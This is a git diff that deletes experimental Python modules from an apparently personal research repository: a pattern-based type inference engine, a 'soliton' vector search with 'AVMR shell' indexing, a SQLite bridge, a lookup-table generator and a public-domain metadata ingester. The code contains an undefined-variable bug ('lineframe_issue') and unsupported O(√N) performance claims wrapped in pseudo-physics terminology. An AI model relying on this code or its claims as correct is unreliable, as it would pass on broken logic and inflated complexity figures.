Confidence score (0-1) - """ - # Build pattern key - pattern_key = self._pattern_to_key(pattern) - - # Get pattern frequency - frequency = self.interaction_patterns.get(pattern_key, 0) - - # Normalize to confidence (max frequency = 100) - confidence = min(frequency / 100.0, 1.0) - - return confidence - - def _pattern_to_key(self, pattern: Dict[str, str]) -> str: - """Convert pattern to key for frequency lookup""" - items = sorted(pattern.items()) - return "|".join(f"{k}:{v}" for k, v in items) - - def _get_type_suggestions(self, pattern: Dict[str, str]) -> List[str]: - """ - Get type suggestions based on manifold neighborhood - - Args: - pattern: Interaction pattern - - Returns: - List of type suggestions - """ - suggestions = [] - - # Find similar patterns in interaction history - pattern_key = self._pattern_to_key(pattern) - - # Look for patterns with similar keys - for key in self.interaction_patterns: - similarity = self._pattern_similarity(pattern_key, key) - if similarity > 0.5: # Similarity threshold - suggestions.append(key) - - return suggestions[:5] # Top 5 suggestions - - def _pattern_similarity(self, key1: str, key2: str) -> float: - """ - Compute similarity between pattern keys - - Args: - key1: First pattern key - key2: Second pattern key - - Returns: - Similarity score (0-1) - """ - # Split keys into components - components1 = set(key1.split("|")) - components2 = set(key2.split("|")) - - # Jaccard similarity - intersection = components1 & components2 - union = components1 | components2 - - if not union: - return 0.0 - - return len(intersection) / len(union) - - def get_interaction_history(self, limit: int = 100) -> List[Interaction]: - """Get recent interaction history""" - return self.interactions[-limit:] - - def get_type_statistics(self) -> Dict: - """Get statistics about type inference""" - return { - "total_interactions": len(self.interactions), - "unique_patterns": len(self.interaction_patterns), - "total_metatypes": len(self.metatypes), - "cache_size": len(self.type_cache) - } - - -def main(): - """Test self-typing engine with sample interactions""" - engine = SelfTypingEngine() - - # Record some interactions - interaction1 = engine.record_interaction( - InteractionType.SUBSTRATE_TO_SURFACE, - "ENE", - "Notion", - {"operation": "read", "data_type": "concept_vector"} - ) - print(f"Recorded interaction: {interaction1}") - - interaction2 = engine.record_interaction( - InteractionType.SURFACE_TO_INTENT, - "Notion", - "Linear", - {"operation": "update", "data_type": "task"} - ) - print(f"Recorded interaction: {interaction2}") - - # Infer metatype from context - context = {"operation": "read", "data_type": "concept_vector", "layer": "ENE"} - metatype = engine.infer_metatype(context) - print(f"Inferred metatype: {metatype}") - - # Get statistics - stats = engine.get_type_statistics() - print(f"Type statistics: {stats}") - - -if __name__ == "__main__": - main() diff --git a/2-Search-Space/manifold/soliton_search.py b/2-Search-Space/manifold/soliton_search.py deleted file mode 100644 index a2cc0a4f..00000000 --- a/2-Search-Space/manifold/soliton_search.py +++ /dev/null @@ -1,422 +0,0 @@ -#!/usr/bin/env python3 -""" -Soliton Search Engine — Wave Propagation with AVMR O(√N) Indexing -First-Principles Derivation: Search is soliton propagation along path of least resistance - -Performance Targets: -- O(√N) search complexity (AVMR shell indexing) -- < 200ms query response time -- < 50ms attractor convergence -""" - -import numpy as np -from typing import List, Tuple, Optional, Dict -from dataclasses import dataclass -from enum import Enum -import math - - -@dataclass -class FrustrationWave: - """Frustration wave parameters for soliton propagation""" - wave_vector: np.ndarray # k_r wave vector (14D) - weight: float # w_r weight from anisotropy - - def __repr__(self) -> str: - return f"FrustrationWave(weight={self.weight:.3f})" - - -@dataclass -class Attractor: - """Local energy minimum (attractor in manifold)""" - coordinate: np.ndarray # 14D coordinate - energy: float # Energy at this point - archive_ids: List[str] # Points that converge to this attractor - confidence: float # Attraction strength - - def __repr__(self) -> str: - return f"Attractor(energy={self.energy:.3f}, points={len(self.archive_ids)})" - - -@dataclass -class Trajectory: - """Soliton propagation trajectory""" - points: List[np.ndarray] # Path points - energies: List[float] # Energy at each point - converged: bool # Whether trajectory converged to attractor - final_attractor: Optional[Attractor] # Final attractor if converged - - def __repr__(self) -> str: - return f"Trajectory(steps={len(self.points)}, converged={self.converged})" - - -class AVMRShellIndex: - """ - AVMR Shell Indexing for O(√N) search - - Shell decomposition: n = k² + a, 0 ≤ a < 2k + 1 - Shell state: (k, a, b) where b = (k+1)² - n - Tip coordinates: Tip(n) = (ab, a-b) - """ - - def __init__(self, vectors: List[np.ndarray], archive_ids: List[str]): - """ - Build AVMR shell index from concept vectors - - Args: - vectors: List of 14D concept vectors - archive_ids: List of archive IDs - """ - self.vectors = np.array(vectors) - self.archive_ids = archive_ids - self.n_vectors = len(vectors) - - # Compute magnitudes for shell decomposition - self.magnitudes = np.linalg.norm(self.vectors, axis=1) - - # Build shell index - self.shell_index = self._build_shell_index() - - # Build axial generators for shell indexing - self.axial_generators = self._build_axial_generators() - - def _build_shell_index(self) -> Dict[Tuple[int, int, int], List[int]]: - """Build shell index: (k, a, b) → vector indices""" - shell_index = {} - - for i, magnitude in enumerate(self.magnitudes): - n = int(magnitude * 1000) # Scale factor - k = int(math.sqrt(n)) - a = n - k * k - b = (k + 1) * (k + 1) - n - - shell_key = (k, a, b) - if shell_key not in shell_index: - shell_index[shell_key] = [] - shell_index[shell_key].append(i) - - return shell_index - - def _build_axial_generators(self) -> np.ndarray: - """Build axial generators for shell indexing""" - # Use principal components as axial generators - centered = self.vectors - np.mean(self.vectors, axis=0) - cov = np.cov(centered.T) - eigenvalues, eigenvectors = np.linalg.eigh(cov) - - # Sort by eigenvalues (descending) - idx = np.argsort(eigenvalues)[::-1] - axial_generators = eigenvectors[:, idx[:2]] # Top 2 axes - - return axial_generators - - def query_shell(self, k: int, a: int, b: int) -> List[Tuple[int, str]]: - """ - Query vectors in specific shell - - Args: - k: Shell level - a: Shell offset - b: Shell complement - - Returns: - List of (index, archive_id) tuples - """ - shell_key = (k, a, b) - if shell_key not in self.shell_index: - return [] - - indices = self.shell_index[shell_key] - return [(i, self.archive_ids[i]) for i in indices] - - def query_neighborhood(self, query_vector: np.ndarray, radius: float) -> List[Tuple[int, str]]: - """ - Query neighborhood using shell indexing (O(√N) complexity) - - Args: - query_vector: Query vector (14D) - radius: Query radius - - Returns: - List of (index, archive_id) tuples within radius - """ - # Compute query magnitude - query_magnitude = np.linalg.norm(query_vector) - query_n = int(query_magnitude * 1000) - query_k = int(math.sqrt(query_n)) - - # Search nearby shells (within radius in shell space) - results = [] - shell_radius = int(radius * 1000) - - for dk in range(-shell_radius, shell_radius + 1): - k = query_k + dk - if k < 0: - continue - - # Search all possible (a, b) combinations for this shell - for a in range(2 * k + 1): - n = k * k + a - b = (k + 1) * (k + 1) - n - - shell_results = self.query_shell(k, a, b) - results.extend(shell_results) - - # Filter by actual Euclidean distance - filtered_results = [] - for i, archive_id in results: - distance = np.linalg.norm(self.vectors[i] - query_vector) - if distance <= radius: - filtered_results.append((i, archive_id)) - - return filtered_results - - -class SolitonSearchEngine: - """ - Soliton Search Engine with AVMR O(√N) indexing - - Search via wave propagation along path of least resistance - """ - - def __init__(self, vectors: List[np.ndarray], archive_ids: List[str]): - """ - Initialize soliton search engine - - Args: - vectors: List of 14D concept vectors - archive_ids: List of archive IDs - """ - self.vectors = np.array(vectors) - self.archive_ids = archive_ids - - # Build AVMR shell index - self.avmr_index = AVMRShellIndex(vectors, archive_ids) - - # Initialize frustration waves (default: uniform weights) - self.waves = self._initialize_waves() - - def _initialize_waves(self) -> List[FrustrationWave]: - """Initialize frustration waves with default parameters""" - waves = [] - - # Create waves along principal axes - for i in range(14): - wave_vector = np.zeros(14) - wave_vector[i] = 1.0 - waves.append(FrustrationWave(wave_vector=wave_vector, weight=0.1)) - - return waves - - def _cosine_approx(self, x: float) -> float: - """Cosine approximation using Taylor series""" - x2 = x * x - return 1.0 - x2 * 0.5 - - def _compute_frustration(self, z: np.ndarray, waves: List[FrustrationWave]) -> float: - """ - Compute frustration W(z;A) = Σ_r w_r(A)(1 - cos(k_r·z)) - - Args: - z: Lock pattern (14D vector) - waves: List of frustration waves - - Returns: - Frustration value - """ - frustration = 0.0 - - for wave in waves: - dot_product = np.dot(wave.wave_vector, z) - cosine = self._cosine_approx(dot_product) - contribution = wave.weight * (1.0 - cosine) - frustration += contribution - - return frustration - - def propagate_soliton( - self, - query_vector: np.ndarray, - max_steps: int = 100, - convergence_threshold: float = 0.001, - learning_rate: float = 0.1 - ) -> Trajectory: - """ - Propagate soliton from query vector to attractor - - Args: - query_vector: Initial perturbation (query) - max_steps: Maximum propagation steps - convergence_threshold: Energy change threshold for convergence - learning_rate: Step size for gradient descent - - Returns: - Trajectory of soliton propagation - """ - trajectory_points = [query_vector.copy()] - trajectory_energies = [self._compute_frustration(query_vector, self.waves)] - - current_z = query_vector.copy() - - for step in range(max_steps): - # Compute gradient of frustration - gradient = self._compute_gradient(current_z, self.waves) - - # Gradient descent (move toward lower energy) - new_z = current_z - learning_rate * gradient - - # Compute energy - energy = self._compute_frustration(new_z, self.waves) - - # Check convergence - energy_change = abs(energy - trajectory_energies[-1]) - if energy_change < convergence_threshold: - trajectory_points.append(new_z) - trajectory_energies.append(energy) - - # Find attractor - attractor = self._find_attractor(new_z) - - return Trajectory( - points=trajectory_points, - energies=trajectory_energies, - converged=True, - final_attractor=attractor - ) - - trajectory_points.append(new_z) - trajectory_energies.append(energy) - current_z = new_z - - # Did not converge - return Trajectory( - points=trajectory_points, - energies=trajectory_energies, - converged=False, - final_attractor=None - ) - - def _compute_gradient(self, z: np.ndarray, waves: List[FrustrationWave]) -> np.ndarray: - """ - Compute gradient of frustration with respect to z - - Args: - z: Current position - waves: Frustration waves - - Returns: - Gradient vector (14D) - """ - gradient = np.zeros_like(z) - - for wave in waves: - dot_product = np.dot(wave.wave_vector, z) - - # Derivative of (1 - cos(k·z)) is sin(k·z) * k - # Approximate sin(x) ≈ x for small x - sine_approx = dot_product - gradient += wave.weight * sine_approx * wave.wave_vector - - return gradient - - def _find_attractor(self, coordinate: np.ndarray) -> Optional[Attractor]: - """ - Find attractor near coordinate using AVMR shell indexing - - Args: - coordinate: 14D coordinate - - Returns: - Attractor if found, None otherwise - """ - # Query neighborhood using AVMR shell indexing - neighbors = self.avmr_index.query_neighborhood(coordinate, radius=0.5) - - if not neighbors: - return None - - # Compute energy at neighbor points - energies = [] - for i, _ in neighbors: - energy = self._compute_frustration(self.vectors[i], self.waves) - energies.append((i, energy)) - - # Find minimum energy (attractor) - min_idx, min_energy = min(energies, key=lambda x: x[1]) - - # Get all points near this attractor - attractor_coordinate = self.vectors[min_idx] - attractor_neighbors = self.avmr_index.query_neighborhood(attractor_coordinate, radius=0.3) - - archive_ids = [aid for _, aid in attractor_neighbors] - - # Compute confidence based on energy difference - confidence = 1.0 / (1.0 + min_energy) - - return Attractor( - coordinate=attractor_coordinate, - energy=min_energy, - archive_ids=archive_ids, - confidence=confidence - ) - - def search( - self, - query_vector: np.ndarray, - max_results: int = 10 - ) -> List[Tuple[str, float]]: - """ - Search using soliton propagation with branch prediction - - Args: - query_vector: Query vector (14D) - max_results: Maximum number of results to return - - Returns: - List of (archive_id, confidence) tuples - """ - # Propagate soliton - trajectory = self.propagate_soliton(query_vector) - - if not trajectory.converged or trajectory.final_attractor is None: - # Fallback to direct AVMR search - neighbors = self.avmr_index.query_neighborhood(query_vector, radius=1.0) - return [(aid, 0.5) for _, aid in neighbors[:max_results]] - - # Return attractor results - results = [] - for archive_id in trajectory.final_attractor.archive_ids[:max_results]: - results.append((archive_id, trajectory.final_attractor.confidence)) - - return results - - -def main(): - """Test soliton search engine with sample data""" - # Generate sample 14D vectors - np.random.seed(42) - n_samples = 100 - sample_vectors = np.random.randn(n_samples, 14) - archive_ids = [f"sample_{i}" for i in range(n_samples)] - - # Create soliton search engine - engine = SolitonSearchEngine(sample_vectors, archive_ids) - - # Test search - query_vector = np.random.randn(14) - results = engine.search(query_vector, max_results=5) - - print(f"Search results for random query:") - for archive_id, confidence in results: - print(f" {archive_id}: confidence={confidence:.3f}") - - # Test soliton propagation - trajectory = engine.propagate_soliton(query_vector) - print(f"\nTrajectory: {trajectory}") - print(f"Converged: {trajectory.converged}") - if trajectory.converged: - print(f"Final attractor: {trajectory.final_attractor}") - - -if __name__ == "__main__": - main() diff --git a/2-Search-Space/manifold/substrate_bridge.py b/2-Search-Space/manifold/substrate_bridge.py deleted file mode 100644 index 2fe4e01b..00000000 --- a/2-Search-Space/manifold/substrate_bridge.py +++ /dev/null @@ -1,590 +0,0 @@ -#!/usr/bin/env python3 -""" -Substrate Bridge — ENE/Linear Integration -First-Principles Derivation: Self-typing loop: Substrate (ENE) ↔ Surface ↔ Intent (Linear) ⟹ Metatype - -Performance Targets: -- < 50ms single read operation -- < 100ms batch read (100 items) -- < 200ms batch write (100 items) -- Connection pooling (reuse database connections) -- Batch read/write (reduce round trips) -- Cached hot data (frequently accessed coordinates) -- Async I/O (non-blocking operations) -""" - -import sqlite3 -import json -import numpy as np -from typing import List, Dict, Optional, Tuple -from dataclasses import dataclass -from datetime import datetime -import hashlib - - -@dataclass -class ConceptVector14: - """14-dimensional concept vector from ENE database""" - vector: np.ndarray # Shape: (14,) - archive_id: str - - def __post_init__(self): - if self.vector.shape != (14,): - raise ValueError(f"ConceptVector14 must have shape (14,), got {self.vector.shape}") - - def to_dict(self) -> dict: - return { - "archive_id": self.archive_id, - "vector": self.vector.tolist() - } - - -@dataclass -class AVMRState: - """AVMR shell state for O(√N) indexing""" - shell_level: int # k in n = k² + a - shell_offset: int # a in n = k² + a - shell_complement: int # b = (k+1)² - n - spectral_bins: np.ndarray # Q16_16 spectral bins - - def to_dict(self) -> dict: - return { - "shell_level": self.shell_level, - "shell_offset": self.shell_offset, - "shell_complement": self.shell_complement, - "spectral_bins": self.spectral_bins.tolist() - } - - -@dataclass -class BracketedBounds: - """Bracketed bounds for interval semantics""" - lower_bound: float - upper_bound: float - resolution: str # SEED, FORMING, STABLE, CRYSTALLIZED, COMPRESSED - - def to_dict(self) -> dict: - return { - "lower_bound": self.lower_bound, - "upper_bound": self.upper_bound, - "resolution": self.resolution - } - - -@dataclass -class WitnessReceipt: - """Witness receipt for provenance""" - receipt_hash: str - archive_id: str - timestamp: datetime - operation: str # "read", "write", "collapse" - - def to_dict(self) -> dict: - return { - "receipt_hash": self.receipt_hash, - "archive_id": self.archive_id, - "timestamp": self.timestamp.isoformat(), - "operation": self.operation - } - - -class SubstrateBridge: - """ - Substrate Bridge — ENE/Linear Integration - - Bridge between manifold surface and ENE substrate - """ - - def __init__(self, db_path: str): - """ - Initialize substrate bridge - - Args: - db_path: Path to ENE database - """ - self.db_path = db_path - self.connection_pool = [] - self.cache = {} # Hot data cache - self.witnesses = [] - - def _get_connection(self) -> sqlite3.Connection: - """Get connection from pool or create new one""" - if self.connection_pool: - return self.connection_pool.pop() - - conn = sqlite3.connect(self.db_path) - conn.row_factory = sqlite3.Row - return conn - - def _return_connection(self, conn: sqlite3.Connection) -> None: - """Return connection to pool""" - if len(self.connection_pool) < 10: # Pool size limit - self.connection_pool.append(conn) - else: - conn.close() - - def read_coordinate(self, archive_id: str) -> Optional[ConceptVector14]: - """ - Read concept vector from ENE database - - Args: - archive_id: Archive ID to read - - Returns: - Concept vector if found, None otherwise - """ - # Check cache first - if archive_id in self.cache: - return self.cache[archive_id] - - conn = self._get_connection() - try: - cursor = conn.cursor() - cursor.execute(""" - SELECT archive_id, concept_vector_14 - FROM packages - WHERE archive_id = ? - """, (archive_id,)) - - row = cursor.fetchone() - if row is None: - return None - - vector_str = row['concept_vector_14'] - if vector_str is None: - return None - - # Parse vector - vector_data = json.loads(vector_str) - vector = np.array(vector_data, dtype=np.float32) - - if len(vector) != 14: - return None - - concept_vector = ConceptVector14(vector=vector, archive_id=archive_id) - - # Cache result - self.cache[archive_id] = concept_vector - - # Record witness - witness = WitnessReceipt( - receipt_hash=hashlib.sha256(archive_id.encode()).hexdigest(), - archive_id=archive_id, - timestamp=datetime.now(), - operation="read" - ) - self.witnesses.append(witness) - - return concept_vector - - except Exception as e: - print(f"Error reading coordinate: {e}") - return None - finally: - self._return_connection(conn) - - def read_avmr(self, archive_id: str) -> Optional[AVMRState]: - """ - Read AVMR shell state from ENE database - - Args: - archive_id: Archive ID to read - - Returns: - AVMR state if found, None otherwise - """ - conn = self._get_connection() - try: - cursor = conn.cursor() - cursor.execute(""" - SELECT avmr_shell_state - FROM packages - WHERE archive_id = ? - """, (archive_id,)) - - row = cursor.fetchone() - if row is None: - return None - - avmr_str = row['avmr_shell_state'] - if avmr_str is None: - return None - - # Parse AVMR state - avmr_data = json.loads(avmr_str) - - return AVMRState( - shell_level=avmr_data.get('shell_level', 0), - shell_offset=avmr_data.get('shell_offset', 0), - shell_complement=avmr_data.get('shell_complement', 0), - spectral_bins=np.array(avmr_data.get('spectral_bins', []), dtype=np.float32) - ) - - except Exception as e: - print(f"Error reading AVMR state: {e}") - return None - finally: - self._return_connection(conn) - - def read_bracketed(self, archive_id: str) -> Optional[BracketedBounds]: - """ - Read bracketed bounds from ENE database - - Args: - archive_id: Archive ID to read - - Returns: - Bracketed bounds if found, None otherwise - """ - conn = self._get_connection() - try: - cursor = conn.cursor() - cursor.execute(""" - SELECT bracketed_bounds - FROM packages - WHERE archive_id = ? - """, (archive_id,)) - - row = cursor.fetchone() - if row is None: - return None - - bounds_str = row['bracketed_bounds'] - if bounds_str is None: - return None - - # Parse bracketed bounds - bounds_data = json.loads(bounds_str) - - return BracketedBounds( - lower_bound=bounds_data.get('lower_bound', 0.0), - upper_bound=bounds_data.get('upper_bound', 1.0), - resolution=bounds_data.get('resolution', 'STABLE') - ) - - except Exception as e: - print(f"Error reading bracketed bounds: {e}") - return None - finally: - self._return_connection(conn) - - def read_witness(self, archive_id: str) -> Optional[WitnessReceipt]: - """ - Read witness receipt from ENE database - - Args: - archive_id: Archive ID to read - - Returns: - Witness receipt if found, None otherwise - """ - # Check local witnesses first - for witness in reversed(self.witnesses): - if witness.archive_id == archive_id: - return witness - - conn = self._get_connection() - try: - cursor = conn.cursor() - cursor.execute(""" - SELECT receipt_hash, archive_id, timestamp, operation - FROM witnesses - WHERE archive_id = ? - ORDER BY timestamp DESC - LIMIT 1 - """, (archive_id,)) - - row = cursor.fetchone() - if row is None: - return None - - return WitnessReceipt( - receipt_hash=row['receipt_hash'], - archive_id=row['archive_id'], - timestamp=datetime.fromisoformat(row['timestamp']), - operation=row['operation'] - ) - - except Exception as e: - print(f"Error reading witness: {e}") - return None - finally: - self._return_connection(conn) - - def batch_read(self, archive_ids: List[str]) -> Dict[str, ConceptVector14]: - """ - Batch read concept vectors from ENE database - - Args: - archive_ids: List of archive IDs to read - - Returns: - Dictionary mapping archive IDs to concept vectors - """ - results = {} - - conn = self._get_connection() - try: - cursor = conn.cursor() - - # Build placeholder string for SQL IN clause - placeholders = ','.join('?' * len(archive_ids)) - - cursor.execute(f""" - SELECT archive_id, concept_vector_14 - FROM packages - WHERE archive_id IN ({placeholders}) - """, archive_ids) - - for row in cursor.fetchall(): - archive_id = row['archive_id'] - vector_str = row['concept_vector_14'] - - if vector_str is None: - continue - - # Parse vector - vector_data = json.loads(vector_str) - vector = np.array(vector_data, dtype=np.float32) - - if len(vector) != 14: - continue - - concept_vector = ConceptVector14(vector=vector, archive_id=archive_id) - results[archive_id] = concept_vector - - # Cache result - self.cache[archive_id] = concept_vector - - return results - - except Exception as e: - print(f"Error in batch read: {e}") - return {} - finally: - self._return_connection(conn) - - def write_coordinate(self, archive_id: str, vector: ConceptVector14) -> bool: - """ - Write concept vector to ENE database - - Args: - archive_id: Archive ID to write - vector: Concept vector to write - - Returns: - True if successful, False otherwise - """ - conn = self._get_connection() - try: - cursor = conn.cursor() - - # Serialize vector - vector_str = json.dumps(vector.vector.tolist()) - - cursor.execute(""" - UPDATE packages - SET concept_vector_14 = ? - WHERE archive_id = ? - """, (vector_str, archive_id)) - - conn.commit() - - # Update cache - self.cache[archive_id] = vector - - # Record witness - witness = WitnessReceipt( - receipt_hash=hashlib.sha256((archive_id + vector_str).encode()).hexdigest(), - archive_id=archive_id, - timestamp=datetime.now(), - operation="write" - ) - self.witnesses.append(witness) - - return True - - except Exception as e: - print(f"Error writing coordinate: {e}") - conn.rollback() - return False - finally: - self._return_connection(conn) - - def write_witness(self, archive_id: str, witness: WitnessReceipt) -> bool: - """ - Write witness receipt to ENE database - - Args: - archive_id: Archive ID - witness: Witness receipt to write - - Returns: - True if successful, False otherwise - """ - conn = self._get_connection() - try: - cursor = conn.cursor() - - cursor.execute(""" - INSERT INTO witnesses (receipt_hash, archive_id, timestamp, operation) - VALUES (?, ?, ?, ?) - """, (witness.receipt_hash, archive_id, witness.timestamp.isoformat(), witness.operation)) - - conn.commit() - return True - - except Exception as e: - print(f"Error writing witness: {e}") - conn.rollback() - return False - finally: - self._return_connection(conn) - - def batch_write(self, updates: Dict[str, ConceptVector14]) -> bool: - """ - Batch write concept vectors to ENE database - - Args: - updates: Dictionary mapping archive IDs to concept vectors - - Returns: - True if all successful, False otherwise - """ - conn = self._get_connection() - try: - cursor = conn.cursor() - - for archive_id, vector in updates.items(): - # Serialize vector - vector_str = json.dumps(vector.vector.tolist()) - - cursor.execute(""" - UPDATE packages - SET concept_vector_14 = ? - WHERE archive_id = ? - """, (vector_str, archive_id)) - - # Update cache - self.cache[archive_id] = vector - - conn.commit() - return True - - except Exception as e: - print(f"Error in batch write: {e}") - conn.rollback() - return False - finally: - self._return_connection(conn) - - def sync_with_linear(self, linear_issue_id: str, archive_id: str) -> bool: - """ - Sync with Linear intent tracking - - Args: - linear_issue_id: Linear issue ID - archive_id: Archive ID to sync - - Returns: - True if successful, False otherwise - """ - # This would integrate with Linear API - # For now, just record the sync intent - print(f"Syncing Linear issue {linear_issue_id} with archive {archive_id}") - return True - - def extract_intent(self, linear_issue: Dict) -> np.ndarray: - """ - Extract intent vector from Linear issue - - Args: - linear_issue: Linear issue data - - Returns: - Intent vector (14D) - """ - # Extract intent from issue fields - # This is a simplified implementation - intent_vector = np.zeros(14, dtype=np.float32) - - # Map issue fields to intent dimensions - if 'title' in linear_issue: - intent_vector[0] = len(linear_issue['title']) / 100.0 - if 'description' in linear_issue: - intent_vector[1] = len(lineframe_issue['description']) / 1000.0 - if 'priority' in linear_issue: - priority_map = {'urgent': 1.0, 'high': 0.75, 'medium': 0.5, 'low': 0.25} - intent_vector[2] = priority_map.get(lineframe_issue['priority'], 0.5) - - return intent_vector - - def intent_to_coordinate(self, intent_vector: np.ndarray) -> ConceptVector14: - """ - Convert intent vector to concept vector coordinate - - Args: - intent_vector: Intent vector (14D) - - Returns: - Concept vector - """ - # Simple transformation (in full implementation, use more sophisticated mapping) - return ConceptVector14( - vector=intent_vector, - archive_id=f"intent_{hashlib.sha256(intent_vector.tobytes()).hexdigest()[:16]}" - ) - - def generate_metatype(self, surface_data: Dict, substrate_data: Dict, intent_data: Dict) -> Dict: - """ - Generate metatype from integration of layers - - Args: - surface_data: Data from surface layer - substrate_data: Data from substrate layer - intent_data: Data from intent layer - - Returns: - Metatype dictionary - """ - # Simple metatype generation (in full implementation, use self-typing engine) - return { - "type_signature": f"{substrate_data.get('type', 'unknown')}:{surface_data.get('type', 'unknown')}:{intent_data.get('type', 'unknown')}", - "confidence": 0.5, - "source_layers": ["substrate", "surface", "intent"] - } - - def get_cache_stats(self) -> Dict: - """Get cache statistics""" - return { - "cache_size": len(self.cache), - "witness_count": len(self.witnesses), - "connection_pool_size": len(self.connection_pool) - } - - -def main(): - """Test substrate bridge with ENE database""" - db_path = "/home/allaun/Documents/Research Stack/data/substrate_index.db" - - try: - bridge = SubstrateBridge(db_path) - - # Test read - vector = bridge.read_coordinate("test_archive_id") - print(f"Read vector: {vector}") - - # Test batch read - results = bridge.batch_read(["test_archive_id_1", "test_archive_id_2"]) - print(f"Batch read: {len(results)} results") - - # Get cache stats - stats = bridge.get_cache_stats() - print(f"Cache stats: {stats}") - - except Exception as e: - print(f"Error testing substrate bridge: {e}") - - -if __name__ == "__main__": - main() diff --git a/2-Search-Space/search/generate_lut.py b/2-Search-Space/search/generate_lut.py deleted file mode 100644 index adbfea12..00000000 --- a/2-Search-Space/search/generate_lut.py +++ /dev/null @@ -1,84 +0,0 @@ -import numpy as np -import math - -# Constants in Q16.16 -Q_ONE = 0x00010000 -DRAKE_CONST = 196 -DRIFT_CONST = 65 -LAMBDA = Q_ONE -M_STAR = 32768 - -def get_ne_log(bin_val): - n = bin_val + 1 - return int(math.log2(n) * Q_ONE) - -def is_locally_lawful(mu_bin, rho_bin, c_bin, m_bin, ne_bin, sig_bin): - uq = 0x41 * (mu_bin + 1) - rhoq = 0x2000 * (rho_bin + 1) - cfac = 0x2000 * (c_bin + 1) - mfac = 0x2000 * (m_bin + 1) - sigq = Q_ONE + (0x4000 * (sig_bin + 1)) - Ne = get_ne_log(ne_bin) - - l1 = uq <= (DRAKE_CONST * Q_ONE) // cfac - phi = Q_ONE - abs(mfac - M_STAR) - drift_val = ((rhoq * Ne) // Q_ONE * phi) // Q_ONE - l2 = drift_val >= DRIFT_CONST - l3 = sigq > Q_ONE + (LAMBDA * uq) // Q_ONE - - mask = (1 if not l1 else 0) | (2 if not l2 else 0) | (4 if not l3 else 0) - return (l1 and l2 and l3), mask - -def solve_trajectory(mu_bin, rho_bin, c_bin, m_bin, ne_bin, sig_bin): - curr = (mu_bin, rho_bin, c_bin, m_bin, ne_bin, sig_bin) - states = [curr] - lawful_trajectory = True - - for s in range(3): - m, r, c, mo, n, s_val = states[-1] - ok, _ = is_locally_lawful(m, r, c, mo, n, s_val) - if not ok: - lawful_trajectory = False - - # Beta Function: Coarse-graining - new_mu = max(0, m - 1) - new_ne = min(7, n + 1) - states.append((new_mu, r, c, mo, new_ne, s_val)) - - return lawful_trajectory, states[-1] - -def generate_lut(): - dt = np.dtype([ - ('bits', 'u1'), # L_now|L_flow|L_att|Noise|Sab - ('failure', 'u1'), # Mask: 1|2|4|8 - ('cost', 'u4'), - ('margin', 'u1'), - ('depth', 'u1'), - ('attr_id', 'u1'), - ('p1', 'u1'), ('p2', 'u1'), ('p3', 'u1'), ('p4', 'u1'), ('p5', 'u1'), ('p6', 'u1'), ('p7', 'u1') - ]) - lut = np.zeros(262144, dtype=dt) - - for addr in range(262144): - mu_bin = (addr >> 0) & 0x7 - rho_bin = (addr >> 3) & 0x7 - c_bin = (addr >> 6) & 0x7 - m_bin = (addr >> 9) & 0x7 - ne_bin = (addr >> 12) & 0x7 - sig_bin = (addr >> 15) & 0x7 - - l_now, mask = is_locally_lawful(mu_bin, rho_bin, c_bin, m_bin, ne_bin, sig_bin) - l_flow, attractor = solve_trajectory(mu_bin, rho_bin, c_bin, m_bin, ne_bin, sig_bin) - - bits = (1 if l_now else 0) | (2 if l_flow else 0) - final_mask = mask | (8 if l_now and not l_flow else 0) - - lut[addr] = (bits, final_mask, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0) - - return lut - -if __name__ == "__main__": - lut_data = generate_lut() - output_path = "/home/allaun/Documents/Research Stack/data/swarm/adaptation_surface.bin" - lut_data.tofile(output_path) - print(f"SUCCESS: Precomputed RGFlow Trajectories (16-byte Master Entry)") diff --git a/2-Search-Space/search/ingest_pd.py b/2-Search-Space/search/ingest_pd.py deleted file mode 100644 index 817879c9..00000000 --- a/2-Search-Space/search/ingest_pd.py +++ /dev/null @@ -1,73 +0,0 @@ -#!/usr/bin/env python3 -""" -Public Domain Ingestion Orchestrator -Target: /mnt/gdrive/Research_Archive/ -Orchestrates high-volume ingestion from Openverse, IA, and Europeana. -""" - -import os -import requests -import json -from pathlib import Path - -# --- Configuration --- -GDRIVE_PATH = Path("/home/allaun/Documents/Research Stack/data/ingestion") -GDRIVE_PATH.mkdir(parents=True, exist_ok=True) - -# Placeholder for API credentials (user can fill later) -CREDS = { - "openverse": os.getenv("OPENVERSE_API_KEY", ""), - "ia": os.getenv("INTERNET_ARCHIVE_S3_KEY", ""), - "europeana": os.getenv("EUROPEANA_API_KEY", "") -} - -def pull_openverse(query, limit=100): - """Pull metadata and links for open domain works.""" - print(f"[INGEST] Searching Openverse for: {query}") - url = "https://api.openverse.engineering/v1/images/" - params = {"q": query, "license_type": "publicdomain", "page_size": limit} - headers = {"Authorization": f"Token {CREDS['openverse']}"} if CREDS['openverse'] else {} - - res = requests.get(url, params=params, headers=headers) - if res.status_code == 200: - data = res.json() - out_file = GDRIVE_PATH / f"openverse_{query.replace(' ', '_')}.json" - with open(out_file, "w") as f: - json.dump(data, f, indent=2) - print(f"[SUCCESS] Saved {len(data['results'])} records to {out_file}") - else: - print(f"[ERROR] Openverse failed: {res.status_code}") - -def pull_ia_metadata(query, limit=50): - """Pull metadata from Internet Archive based on query.""" - print(f"[INGEST] Searching Internet Archive for: {query}") - url = "https://archive.org/advancedsearch.php" - params = { - "q": f"{query} AND (licenseurl:*publicdomain* OR mediaprotocol:publicdomain)", - "output": "json", - "rows": limit, - "page": 1 - } - res = requests.get(url, params=params) - if res.status_code == 200: - data = res.json() - out_file = GDRIVE_PATH / f"ia_{query.replace(' ', '_')}.json" - with open(out_file, "w") as f: - json.dump(data, f, indent=2) - print(f"[SUCCESS] Saved IA records to {out_file}") - else: - print(f"[ERROR] IA failed: {res.status_code}") - -if __name__ == "__main__": - # Initial seeds for the Informatic Manifold - seeds = [ - "theoretical physics", - "neuromorphic computing", - "pure mathematics", - "maritime navigation", - "sovereignty" - ] - - for s in seeds: - pull_openverse(s) - pull_ia_metadata(s) diff --git a/2-Search-Space/search/sweep_manifold.py b/2-Search-Space/search/sweep_manifold.py deleted file mode 100644 index 9c639ce4..00000000 --- a/2-Search-Space/search/sweep_manifold.py +++ /dev/null @@ -1,95 +0,0 @@ -import numpy as np -import json -import os -import math -from pathlib import Path - -# --- Configuration --- -LUT_PATH = "/home/allaun/Documents/Research Stack/data/swarm/adaptation_surface.bin" -INGEST_DIR = Path("/home/allaun/Documents/Research Stack/data/ingestion") -HARDENED_DIR = INGEST_DIR / "hardened" -LUT_DT = np.dtype([('lawful','u1'), ('dk','u1'), 